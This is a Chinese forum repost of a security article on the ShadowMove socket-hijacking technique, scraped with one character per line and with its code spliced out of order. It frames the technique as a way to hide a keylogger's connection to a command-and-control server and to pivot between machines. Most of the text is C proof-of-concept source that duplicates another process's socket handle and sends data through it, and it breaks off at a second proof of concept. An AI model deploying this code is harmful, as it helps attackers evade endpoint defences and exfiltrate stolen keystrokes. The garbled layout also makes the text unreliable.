论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
云安全
[16402] 2021-02-05_ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接
文档创建者:
s7ckTeam
浏览次数:
18
最后更新:
2025-01-18
云安全
18 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-02-05_ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接
S
h
a
d
o
w
M
o
v
e
套
接
字
劫
持
技
术
分
析
,
巧
妙
隐
藏
与
C
2
的
连
接
A
l
p
h
a
_
h
4
c
k
F
r
e
e
B
u
f
2
0
2
1
-
0
2
-
0
5
概
述
概
述
在
这
篇
文
章
中
,
我
们
将
跟
大
家
介
绍
如
何
使
用
S
h
a
d
o
w
M
o
v
e
技
术
在
合
法
程
序
的
网
络
连
接
中
隐
藏
自
己
的
恶
意
链
接
。
我
们
将
展
示
两
个
使
用
S
h
a
d
o
w
M
o
v
e
技
术
的
P
o
C
,
并
隐
藏
我
们
的
恶
意
软
件
所
建
立
的
连
接
。
第
一
种
方
法
是
完
全
可
靠
的
,
但
是
第
二
种
方
法
有
自
己
的
问
题
,
如
果
你
要
在
实
际
操
作
中
使
用
它
,
就
必
须
解
决
这
些
问
题
,
我
们
将
在
文
章
的
最
后
讨
论
这
些
问
题
。
S
h
a
d
o
w
M
o
v
e
介
绍
介
绍
S
h
a
d
o
w
M
o
v
e
是
一
种
从
n
o
n
-
c
o
o
p
e
r
a
t
i
v
e
进
程
中
劫
持
S
o
c
k
e
t
的
新
技
术
,
发
布
于
2
0
2
0
年
U
S
E
N
I
X
大
会
上
的
一
篇
标
题
为
《
S
h
a
d
o
w
M
o
v
e
:
A
S
t
e
a
l
t
h
y
L
a
t
e
r
a
l
M
o
v
e
m
e
n
t
S
t
r
a
t
e
g
y
》
的
文
章
首
次
讨
论
了
这
一
技
术
。
这
种
技
术
利
用
了
以
下
事
实
:
A
F
D
(
辅
助
函
数
驱
动
程
序
)
文
件
句
柄
被
W
i
n
d
o
w
s
A
P
I
视
为
S
o
c
k
e
t
句
柄
,
因
此
可
以
使
用
W
S
A
D
u
p
l
i
c
a
t
e
S
o
c
k
e
t
(
)
函
数
来
复
制
它
们
。
从
n
o
n
-
c
o
o
p
e
r
a
t
i
v
e
进
程
劫
持
S
o
c
k
e
t
的
一
种
常
见
模
式
,
是
从
进
程
注
入
开
始
的
,
以
便
加
载
我
们
自
己
的
逻
辑
来
查
找
和
复
用
目
标
S
o
c
k
e
t
。
但
是
在
S
h
a
d
o
w
M
o
v
e
技
术
的
帮
助
下
,
我
们
完
全
不
需
要
注
入
任
何
东
西
:
它
只
需
要
打
开
具
有
P
R
O
C
E
S
S
_
D
U
P
_
H
A
N
D
L
E
权
限
的
进
程
句
柄
。
在
这
个
句
柄
的
帮
助
下
,
我
们
可
以
开
始
复
制
所
有
其
他
的
文
件
句
柄
,
直
到
找
到
名
为
D
e
v
i
c
e
A
f
d
的
文
件
句
柄
,
然
后
使
用
g
e
t
p
e
e
r
n
a
m
e
(
)
检
查
它
是
否
属
于
与
目
标
的
连
接
。
为
什
么
这
项
技
术
对
于
红
队
来
说
非
常
有
意
思
?
为
什
么
这
项
技
术
对
于
红
队
来
说
非
常
有
意
思
?
在
我
们
最
近
的
一
次
红
队
评
估
过
程
中
,
我
们
不
得
不
在
目
标
设
备
中
安
装
我
们
的
键
盘
记
录
器
,
但
是
它
会
屏
蔽
任
何
由
非
白
名
单
二
进
制
文
件
建
立
的
任
何
连
接
。
为
了
避
免
这
个
问
题
,
我
们
需
要
向
一
个
允
许
向
外
建
立
连
接
的
进
程
中
注
入
我
们
的
键
盘
记
录
器
。
但
是
在
S
h
a
d
o
w
M
o
v
e
技
术
的
帮
助
下
,
我
们
可
以
避
免
任
何
可
能
由
注
入
产
生
的
噪
声
(
没
错
,
我
们
可
以
使
用
其
他
方
法
来
绕
过
E
D
R
,
但
到
目
前
为
止
,
这
种
方
法
更
干
净
)
。
在
合
法
进
程
中
隐
藏
到
在
合
法
进
程
中
隐
藏
到
C
&
C
的
连
接
的
连
接
假
设
我
们
有
一
个
键
盘
记
录
程
序
,
我
们
想
使
用
S
h
a
d
o
w
M
o
v
e
将
截
获
的
密
钥
发
送
到
我
们
的
C
&
C
。
每
当
我
们
必
须
发
送
一
批
密
钥
时
,
我
们
需
要
运
行
一
个
合
法
的
程
序
并
尝
试
连
接
到
我
们
的
C
&
C
,
比
如
说
m
s
s
q
l
客
户
端
。
当
建
立
连
接
之
后
,
我
们
必
须
使
用
键
盘
记
录
器
来
劫
持
连
接
。
当
然
,
在
企
业
环
境
中
,
我
们
还
需
要
通
过
企
业
代
理
来
设
置
连
接
,
而
不
是
直
接
连
接
到
C
&
C
,
但
是
让
我
们
暂
时
忘
记
这
一
点
。
S
h
a
d
o
w
M
o
v
e
技
术
的
实
现
步
骤
如
下
:
技
术
的
实
现
步
骤
如
下
:
使
用
P
R
O
C
E
S
S
_
D
U
P
_
H
A
N
D
L
E
权
限
打
开
所
有
者
进
程
;
每
一
个
句
柄
为
0
x
2
4
(
文
件
)
类
型
;
复
制
句
柄
;
检
索
句
柄
名
称
;
如
果
名
称
不
是
d
e
v
i
c
e
a
f
d
,
则
跳
过
;
获
取
远
程
I
P
和
远
程
端
口
号
;
如
果
远
程
I
P
和
端
口
与
输
入
参
数
不
匹
配
,
则
跳
过
;
调
用
W
S
A
D
u
p
l
i
c
a
t
e
S
o
c
k
e
t
W
以
获
取
特
殊
的
W
S
A
P
R
O
T
O
C
O
L
_
I
N
F
O
结
构
;
创
建
重
复
的
S
o
c
k
e
t
;
使
用
这
个
S
o
c
k
e
t
;
为
此
,
我
们
创
建
了
一
个
名
为
“
S
h
a
d
o
w
M
o
v
e
G
a
t
e
w
a
y
”
的
P
o
C
。
基
本
上
,
我
们
只
需
要
提
供
进
程
P
I
D
和
我
们
C
&
C
的
I
P
地
址
即
可
:
/
P
o
C
o
f
S
h
a
d
o
w
M
o
v
e
G
a
t
e
w
a
y
b
y
J
u
a
n
M
a
n
u
e
l
F
e
r
n
á
n
d
e
z
(
@
T
h
e
X
C
3
L
L
)
/
P
o
C
o
f
S
h
a
d
o
w
M
o
v
e
G
a
t
e
w
a
y
b
y
J
u
a
n
M
a
n
u
e
l
F
e
r
n
á
n
d
e
z
(
@
T
h
e
X
C
3
L
L
)
#
d
e
f
i
n
e
_
W
I
N
S
O
C
K
_
D
E
P
R
E
C
A
T
E
D
_
N
O
_
W
A
R
N
I
N
G
S
#
i
n
c
l
u
d
e
<
w
i
n
s
o
c
k
2
.
h
>
#
i
n
c
l
u
d
e
<
W
i
n
d
o
w
s
.
h
>
#
i
n
c
l
u
d
e
<
s
t
d
i
o
.
h
>
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
b
,
"
W
S
2
_
3
2
"
)
/
/
M
o
s
t
o
f
t
h
e
c
o
d
e
i
s
a
d
a
p
t
e
d
f
r
o
m
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
Z
e
r
0
M
e
m
0
r
y
/
W
i
n
d
o
w
s
N
T
-
H
a
n
d
l
e
-
S
c
a
n
n
e
r
/
b
l
o
b
/
m
a
s
t
e
r
/
F
i
n
d
H
a
n
d
l
e
s
/
m
a
i
n
.
c
p
p
#
d
e
f
i
n
e
S
T
A
T
U
S
_
I
N
F
O
_
L
E
N
G
T
H
_
M
I
S
M
A
T
C
H
0
x
c
0
0
0
0
0
0
4
#
d
e
f
i
n
e
S
y
s
t
e
m
H
a
n
d
l
e
I
n
f
o
r
m
a
t
i
o
n
1
6
#
d
e
f
i
n
e
O
b
j
e
c
t
N
a
m
e
I
n
f
o
r
m
a
t
i
o
n
1
t
y
p
e
d
e
f
N
T
S
T
A
T
U
S
(
N
T
A
P
I
*
_
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
)
(
U
L
O
N
G
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
C
l
a
s
s
,
P
V
O
I
D
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
,
U
L
O
N
G
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
L
e
n
g
t
h
,
P
U
L
O
N
G
R
e
t
u
r
n
L
e
n
g
t
h
)
;
t
y
p
e
d
e
f
N
T
S
T
A
T
U
S
(
N
T
A
P
I
*
_
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
)
(
H
A
N
D
L
E
S
o
u
r
c
e
P
r
o
c
e
s
s
H
a
n
d
l
e
,
H
A
N
D
L
E
S
o
u
r
c
e
H
a
n
d
l
e
,
H
A
N
D
L
E
T
a
r
g
e
t
P
r
o
c
e
s
s
H
a
n
d
l
e
,
P
H
A
N
D
L
E
T
a
r
g
e
t
H
a
n
d
l
e
,
A
C
C
E
S
S
_
M
A
S
K
D
e
s
i
r
e
d
A
c
c
e
s
s
,
U
L
O
N
G
A
t
t
r
i
b
u
t
e
s
,
U
L
O
N
G
O
p
t
i
o
n
s
)
;
t
y
p
e
d
e
f
N
T
S
T
A
T
U
S
(
N
T
A
P
I
*
_
N
t
Q
u
e
r
y
O
b
j
e
c
t
)
(
H
A
N
D
L
E
O
b
j
e
c
t
H
a
n
d
l
e
,
U
L
O
N
G
O
b
j
e
c
t
I
n
f
o
r
m
a
t
i
o
n
C
l
a
s
s
,
P
V
O
I
D
O
b
j
e
c
t
I
n
f
o
r
m
a
t
i
o
n
,
U
L
O
N
G
O
b
j
e
c
t
I
n
f
o
r
m
a
t
i
o
n
L
e
n
g
t
h
,
P
U
L
O
N
G
R
e
t
u
r
n
L
e
n
g
t
h
)
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
S
Y
S
T
E
M
_
H
A
N
D
L
E
{
U
L
O
N
G
P
r
o
c
e
s
s
I
d
;
B
Y
T
E
O
b
j
e
c
t
T
y
p
e
N
u
m
b
e
r
;
B
Y
T
E
F
l
a
g
s
;
B
Y
T
E
F
l
a
g
s
;
U
S
H
O
R
T
H
a
n
d
l
e
;
P
V
O
I
D
O
b
j
e
c
t
;
A
C
C
E
S
S
_
M
A
S
K
G
r
a
n
t
e
d
A
c
c
e
s
s
;
}
S
Y
S
T
E
M
_
H
A
N
D
L
E
,
*
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
{
U
L
O
N
G
H
a
n
d
l
e
C
o
u
n
t
;
S
Y
S
T
E
M
_
H
A
N
D
L
E
H
a
n
d
l
e
s
[
1
]
;
}
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
,
*
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
U
N
I
C
O
D
E
_
S
T
R
I
N
G
{
U
S
H
O
R
T
L
e
n
g
t
h
;
U
S
H
O
R
T
M
a
x
i
m
u
m
L
e
n
g
t
h
;
P
W
S
T
R
B
u
f
f
e
r
;
}
U
N
I
C
O
D
E
_
S
T
R
I
N
G
,
*
P
U
N
I
C
O
D
E
_
S
T
R
I
N
G
;
t
y
p
e
d
e
f
e
n
u
m
_
P
O
O
L
_
T
Y
P
E
{
N
o
n
P
a
g
e
d
P
o
o
l
,
P
a
g
e
d
P
o
o
l
,
N
o
n
P
a
g
e
d
P
o
o
l
M
u
s
t
S
u
c
c
e
e
d
,
D
o
n
t
U
s
e
T
h
i
s
T
y
p
e
,
N
o
n
P
a
g
e
d
P
o
o
l
C
a
c
h
e
A
l
i
g
n
e
d
,
P
a
g
e
d
P
o
o
l
C
a
c
h
e
A
l
i
g
n
e
d
,
N
o
n
P
a
g
e
d
P
o
o
l
C
a
c
h
e
A
l
i
g
n
e
d
M
u
s
t
S
}
P
O
O
L
_
T
Y
P
E
,
*
P
P
O
O
L
_
T
Y
P
E
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
{
U
N
I
C
O
D
E
_
S
T
R
I
N
G
N
a
m
e
;
}
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
,
*
P
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
;
P
V
O
I
D
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
P
S
T
R
L
i
b
r
a
r
y
N
a
m
e
,
P
S
T
R
P
r
o
c
N
a
m
e
)
{
r
e
t
u
r
n
G
e
t
P
r
o
c
A
d
d
r
e
s
s
(
G
e
t
M
o
d
u
l
e
H
a
n
d
l
e
A
(
L
i
b
r
a
r
y
N
a
m
e
)
,
P
r
o
c
N
a
m
e
)
;
}
S
O
C
K
E
T
f
i
n
d
T
a
r
g
e
t
S
o
c
k
e
t
(
D
W
O
R
D
d
w
P
r
o
c
e
s
s
I
d
,
L
P
S
T
R
d
s
t
I
P
)
{
H
A
N
D
L
E
h
P
r
o
c
;
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
h
a
n
d
l
e
I
n
f
o
;
D
W
O
R
D
h
a
n
d
l
e
I
n
f
o
S
i
z
e
=
0
x
1
0
0
0
0
;
N
T
S
T
A
T
U
S
s
t
a
t
u
s
;
D
W
O
R
D
r
e
t
u
r
n
L
e
n
g
t
h
;
W
S
A
P
R
O
T
O
C
O
L
_
I
N
F
O
W
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
=
{
0
}
;
S
O
C
K
E
T
t
a
r
g
e
t
S
o
c
k
e
t
;
/
/
O
p
e
n
t
a
r
g
e
t
p
r
o
c
e
s
s
w
i
t
h
P
R
O
C
E
S
S
_
D
U
P
_
H
A
N
D
L
E
r
i
g
h
t
s
h
P
r
o
c
=
O
p
e
n
P
r
o
c
e
s
s
(
P
R
O
C
E
S
S
_
D
U
P
_
H
A
N
D
L
E
,
F
A
L
S
E
,
d
w
P
r
o
c
e
s
s
I
d
)
;
i
f
(
!
h
P
r
o
c
)
{
p
r
i
n
t
f
(
"
[
!
]
E
r
r
o
r
:
c
o
u
l
d
n
o
t
o
p
e
n
t
h
e
p
r
o
c
e
s
s
!
n
"
)
;
e
x
i
t
(
-
1
)
;
}
p
r
i
n
t
f
(
"
[
+
]
H
a
n
d
l
e
t
o
p
r
o
c
e
s
s
o
b
t
a
i
n
e
d
!
n
"
)
;
/
/
F
i
n
d
t
h
e
f
u
n
c
t
i
o
n
s
_
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
=
(
_
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
)
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
"
n
t
d
l
l
.
d
l
l
"
,
"
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
"
)
;
_
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
=
(
_
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
)
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
"
n
t
d
l
l
.
d
l
l
"
,
"
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
"
)
;
_
N
t
Q
u
e
r
y
O
b
j
e
c
t
N
t
Q
u
e
r
y
O
b
j
e
c
t
=
(
_
N
t
Q
u
e
r
y
O
b
j
e
c
t
)
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
"
n
t
d
l
l
.
d
l
l
"
,
"
N
t
Q
u
e
r
y
O
b
j
e
c
t
"
)
;
/
/
R
e
t
r
i
e
v
e
h
a
n
d
l
e
s
f
r
o
m
t
h
e
t
a
r
g
e
t
p
r
o
c
e
s
s
h
a
n
d
l
e
I
n
f
o
=
(
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
)
m
a
l
l
o
c
(
h
a
n
d
l
e
I
n
f
o
S
i
z
e
)
;
w
h
i
l
e
(
(
s
t
a
t
u
s
=
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
(
S
y
s
t
e
m
H
a
n
d
l
e
I
n
f
o
r
m
a
t
i
o
n
,
h
a
n
d
l
e
I
n
f
o
,
h
a
n
d
l
e
I
n
f
o
S
i
z
e
,
N
U
L
L
)
)
=
=
S
T
A
T
U
S
_
I
N
F
O
_
L
E
N
G
T
H
_
M
I
S
M
A
T
C
H
)
h
a
n
d
l
e
I
n
f
o
=
(
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
)
r
e
a
l
l
o
c
(
h
a
n
d
l
e
I
n
f
o
,
h
a
n
d
l
e
I
n
f
o
S
i
z
e
*
=
2
)
;
p
r
i
n
t
f
(
"
[
+
]
F
o
u
n
d
[
%
d
]
h
a
n
d
l
e
r
s
i
n
P
I
D
%
d
n
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
n
"
,
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
C
o
u
n
t
,
d
w
P
r
o
c
e
s
s
I
d
)
;
/
/
I
t
e
r
a
t
e
f
o
r
(
D
W
O
R
D
i
=
0
;
i
<
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
C
o
u
n
t
;
i
+
+
)
{
/
/
C
h
e
c
k
i
f
i
t
i
s
t
h
e
d
e
s
i
r
e
d
t
y
p
e
o
f
h
a
n
d
l
e
i
f
(
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
s
[
i
]
.
O
b
j
e
c
t
T
y
p
e
N
u
m
b
e
r
=
=
0
x
2
4
)
{
S
Y
S
T
E
M
_
H
A
N
D
L
E
h
a
n
d
l
e
=
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
s
[
i
]
;
H
A
N
D
L
E
d
u
p
H
a
n
d
l
e
=
N
U
L
L
;
P
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
o
b
j
e
c
t
N
a
m
e
I
n
f
o
;
/
/
D
u
p
p
l
i
c
a
t
e
h
a
n
d
l
e
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
(
h
P
r
o
c
,
(
H
A
N
D
L
E
)
h
a
n
d
l
e
.
H
a
n
d
l
e
,
G
e
t
C
u
r
r
e
n
t
P
r
o
c
e
s
s
(
)
,
&
d
u
p
H
a
n
d
l
e
,
P
R
O
C
E
S
S
_
A
L
L
_
A
C
C
E
S
S
,
F
A
L
S
E
,
D
U
P
L
I
C
A
T
E
_
S
A
M
E
_
A
C
C
E
S
S
)
;
o
b
j
e
c
t
N
a
m
e
I
n
f
o
=
(
P
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
)
m
a
l
l
o
c
(
0
x
1
0
0
0
)
;
/
/
G
e
t
h
a
n
d
l
e
i
n
f
o
N
t
Q
u
e
r
y
O
b
j
e
c
t
(
d
u
p
H
a
n
d
l
e
,
O
b
j
e
c
t
N
a
m
e
I
n
f
o
r
m
a
t
i
o
n
,
o
b
j
e
c
t
N
a
m
e
I
n
f
o
,
0
x
1
0
0
0
,
&
r
e
t
u
r
n
L
e
n
g
t
h
)
;
/
/
N
a
r
r
o
w
t
h
e
s
e
a
r
c
h
c
h
e
c
k
i
n
g
i
f
t
h
e
n
a
m
e
l
e
n
g
t
h
i
s
c
o
r
r
e
c
t
(
l
e
n
(
D
e
v
i
c
e
A
f
d
)
=
=
1
1
*
2
)
i
f
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
-
>
N
a
m
e
.
L
e
n
g
t
h
=
=
2
2
)
{
p
r
i
n
t
f
(
"
[
-
]
T
e
s
t
i
n
g
%
d
o
f
%
d
n
"
,
i
,
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
C
o
u
n
t
)
;
/
/
C
h
e
c
k
i
f
i
t
e
n
d
s
i
n
"
A
f
d
"
L
P
W
S
T
R
n
e
e
d
l
e
=
(
L
P
W
S
T
R
)
m
a
l
l
o
c
(
8
)
;
m
e
m
c
p
y
(
n
e
e
d
l
e
,
o
b
j
e
c
t
N
a
m
e
I
n
f
o
-
>
N
a
m
e
.
B
u
f
f
e
r
+
8
,
6
)
;
i
f
(
n
e
e
d
l
e
[
0
]
=
=
'
A
'
&
&
n
e
e
d
l
e
[
1
]
=
=
'
f
'
&
&
n
e
e
d
l
e
[
2
]
=
=
'
d
'
)
{
/
/
W
e
g
o
t
a
c
a
n
d
i
d
a
t
e
p
r
i
n
t
f
(
"
t
[
*
]
D
e
v
i
c
e
A
f
d
f
o
u
n
d
a
t
%
d
!
n
"
,
i
)
;
/
/
T
r
y
t
o
d
u
p
l
i
c
a
t
e
t
h
e
s
o
c
k
e
t
s
t
a
t
u
s
=
W
S
A
D
u
p
l
i
c
a
t
e
S
o
c
k
e
t
W
(
(
S
O
C
K
E
T
)
d
u
p
H
a
n
d
l
e
,
G
e
t
C
u
r
r
e
n
t
P
r
o
c
e
s
s
I
d
(
)
,
&
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
)
;
i
f
(
s
t
a
t
u
s
!
=
0
)
{
p
r
i
n
t
f
(
"
t
t
[
X
]
E
r
r
o
r
d
u
p
l
i
c
a
t
i
n
g
s
o
c
k
e
t
!
n
"
)
;
f
r
e
e
(
n
e
e
d
l
e
)
;
f
r
e
e
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
)
;
C
l
o
s
e
H
a
n
d
l
e
(
d
u
p
H
a
n
d
l
e
)
;
c
o
n
t
i
n
u
e
;
}
/
/
W
e
g
o
t
i
t
?
t
a
r
g
e
t
S
o
c
k
e
t
=
W
S
A
S
o
c
k
e
t
(
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
.
i
A
d
d
r
e
s
s
F
a
m
i
l
y
,
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
.
i
S
o
c
k
e
t
T
y
p
e
,
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
.
i
P
r
o
t
o
c
o
l
,
&
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
,
0
,
W
S
A
_
F
L
A
G
_
O
V
E
R
L
A
P
P
E
D
)
;
i
f
(
t
a
r
g
e
t
S
o
c
k
e
t
!
=
I
N
V
A
L
I
D
_
S
O
C
K
E
T
)
{
s
t
r
u
c
t
s
o
c
k
a
d
d
r
_
i
n
s
o
c
k
a
d
d
r
;
D
W
O
R
D
l
e
n
;
l
e
n
=
s
i
z
e
o
f
(
S
O
C
K
A
D
D
R
_
I
N
)
;
/
/
I
t
t
h
i
s
t
h
e
s
o
c
k
e
t
?
i
f
(
g
e
t
p
e
e
r
n
a
m
e
(
t
a
r
g
e
t
S
o
c
k
e
t
,
(
S
O
C
K
A
D
D
R
*
)
&
s
o
c
k
a
d
d
r
,
&
l
e
n
)
=
=
0
)
{
i
f
(
s
t
r
c
m
p
(
i
n
e
t
_
n
t
o
a
(
s
o
c
k
a
d
d
r
.
s
i
n
_
a
d
d
r
)
,
d
s
t
I
P
)
=
=
0
)
{
p
r
i
n
t
f
(
"
t
[
*
]
D
u
p
l
i
c
a
t
e
d
s
o
c
k
e
t
(
%
s
)
n
"
,
i
n
e
t
_
n
t
o
a
(
s
o
c
k
a
d
d
r
.
s
i
n
_
a
d
d
r
)
)
;
f
r
e
e
(
n
e
e
d
l
e
)
;
f
r
e
e
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
)
;
r
e
t
u
r
n
t
a
r
g
e
t
S
o
c
k
e
t
;
}
}
}
f
r
e
e
(
n
e
e
d
l
e
)
;
}
}
f
r
e
e
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
)
;
}
}
在
这
里
,
我
们
只
需
要
从
受
感
染
设
备
发
送
一
条
“
H
e
l
l
o
f
r
o
m
t
h
e
o
t
h
e
r
s
i
d
e
!
”
消
息
给
C
&
C
服
务
器
,
然
后
C
&
C
服
务
器
就
会
返
回
一
条
“
S
t
a
y
h
y
d
r
a
t
e
d
!
”
给
受
感
染
设
备
。
两
台
设
备
之
间
的
通
信
两
台
设
备
之
间
的
通
信
“
桥
梁
桥
梁
”
我
们
刚
刚
看
到
了
如
何
使
用
S
h
a
d
o
w
M
o
v
e
将
程
序
转
换
为
本
地
植
入
的
代
理
,
但
同
样
的
方
法
也
可
以
用
于
两
台
机
器
之
间
的
通
信
。
设
想
一
个
场
景
,
我
们
有
三
台
机
器
:
A
↔
B
↔
C
。
如
果
我
们
想
从
A
访
问
C
的
公
开
服
务
,
那
么
我
们
必
须
在
B
中
转
发
流
量
(
使
用
n
e
t
s
h
或
代
理
)
。
当
然
了
,
我
们
也
可
以
使
用
S
h
a
d
o
w
M
o
v
e
技
术
来
实
现
这
个
目
标
。
我
们
只
需
要
在
B
中
执
行
两
个
合
法
程
序
:
一
个
连
接
到
A
中
的
一
个
开
放
端
口
,
另
一
个
连
接
到
C
中
的
目
标
服
务
,
然
后
劫
持
这
两
个
S
o
c
k
e
t
并
桥
接
它
们
。
注
意
:
假
设
我
们
想
从
A
执
行
l
d
a
p
s
e
a
r
c
h
,
而
域
控
制
器
位
于
C
。
那
么
在
A
中
,
我
们
需
要
一
个
脚
本
来
暴
露
这
两
个
端
口
,
一
个
从
l
d
a
p
s
e
a
r
c
h
(
A
’
)
接
收
连
接
,
另
一
个
从
B
(
A
’
’
)
接
收
连
接
。
因
此
,
在
A
’
中
接
收
的
所
有
内
容
都
被
发
送
到
A
’
(
通
过
B
连
接
)
,
然
后
我
们
的
网
桥
将
所
有
内
容
转
发
到
B
和
C
之
间
的
连
接
。
在
B
中
执
行
的
代
码
与
我
们
以
前
使
用
的
几
乎
相
同
:
}
r
e
t
u
r
n
0
;
}
i
n
t
m
a
i
n
(
i
n
t
a
r
g
c
,
c
h
a
r
*
*
a
r
g
v
)
{
W
O
R
D
w
V
e
r
s
i
o
n
R
e
q
u
e
s
t
e
d
;
W
S
A
D
A
T
A
w
s
a
D
a
t
a
;
D
W
O
R
D
d
w
P
r
o
c
e
s
s
I
d
;
L
P
W
S
T
R
d
s
t
I
P
=
N
U
L
L
;
S
O
C
K
E
T
t
a
r
g
e
t
S
o
c
k
e
t
;
c
h
a
r
b
u
f
f
[
2
5
5
]
=
{
0
}
;
p
r
i
n
t
f
(
"
t
t
t
-
=
[
S
h
a
d
o
w
M
o
v
e
G
a
t
e
w
a
y
P
o
C
]
=
-
n
n
"
)
;
/
/
s
m
g
a
t
e
w
a
y
.
e
x
e
[
P
I
D
]
[
I
P
d
s
t
]
/
*
I
t
'
s
j
u
s
t
a
P
o
C
,
w
e
d
o
n
o
t
v
a
l
i
d
a
t
e
t
h
e
a
r
g
s
.
B
u
t
a
t
l
e
a
s
t
c
h
e
c
k
i
f
n
u
m
b
e
r
o
f
a
r
g
s
i
s
r
i
g
h
t
X
)
*
/
i
f
(
a
r
g
c
!
=
3
)
{
p
r
i
n
t
f
(
"
[
!
]
E
r
r
o
r
:
s
y
n
t
a
x
i
s
%
s
[
P
I
D
]
[
I
P
d
s
t
]
n
"
,
a
r
g
v
[
0
]
)
;
e
x
i
t
(
-
1
)
;
}
d
w
P
r
o
c
e
s
s
I
d
=
s
t
r
t
o
u
l
(
a
r
g
v
[
1
]
,
N
U
L
L
,
1
0
)
;
d
s
t
I
P
=
(
L
P
S
T
R
)
m
a
l
l
o
c
(
s
t
r
l
e
n
(
a
r
g
v
[
2
]
)
*
(
c
h
a
r
)
+
1
)
;
m
e
m
c
p
y
(
d
s
t
I
P
,
a
r
g
v
[
2
]
,
s
t
r
l
e
n
(
d
s
t
I
P
)
)
;
/
/
C
l
a
s
s
i
c
w
V
e
r
s
i
o
n
R
e
q
u
e
s
t
e
d
=
M
A
K
E
W
O
R
D
(
2
,
2
)
;
W
S
A
S
t
a
r
t
u
p
(
w
V
e
r
s
i
o
n
R
e
q
u
e
s
t
e
d
,
&
w
s
a
D
a
t
a
)
;
t
a
r
g
e
t
S
o
c
k
e
t
=
f
i
n
d
T
a
r
g
e
t
S
o
c
k
e
t
(
d
w
P
r
o
c
e
s
s
I
d
,
d
s
t
I
P
)
;
s
e
n
d
(
t
a
r
g
e
t
S
o
c
k
e
t
,
"
H
e
l
l
o
F
r
o
m
t
h
e
o
t
h
e
r
s
i
d
e
!
n
"
,
s
t
r
l
e
n
(
"
H
e
l
l
o
F
r
o
m
t
h
e
o
t
h
e
r
s
i
d
e
!
n
"
)
,
0
)
;
r
e
c
v
(
t
a
r
g
e
t
S
o
c
k
e
t
,
b
u
f
f
,
2
5
5
,
0
)
;
p
r
i
n
t
f
(
"
n
[
*
]
M
e
s
s
a
g
e
f
r
o
m
o
u
t
s
i
d
e
:
n
n
%
s
n
"
,
b
u
f
f
)
;
r
e
t
u
r
n
0
;
}
/
/
P
o
C
o
f
S
h
a
d
o
w
M
o
v
e
P
i
v
o
t
b
y
J
u
a
n
M
a
n
u
e
l
F
e
r
n
á
n
d
e
z
(
@
T
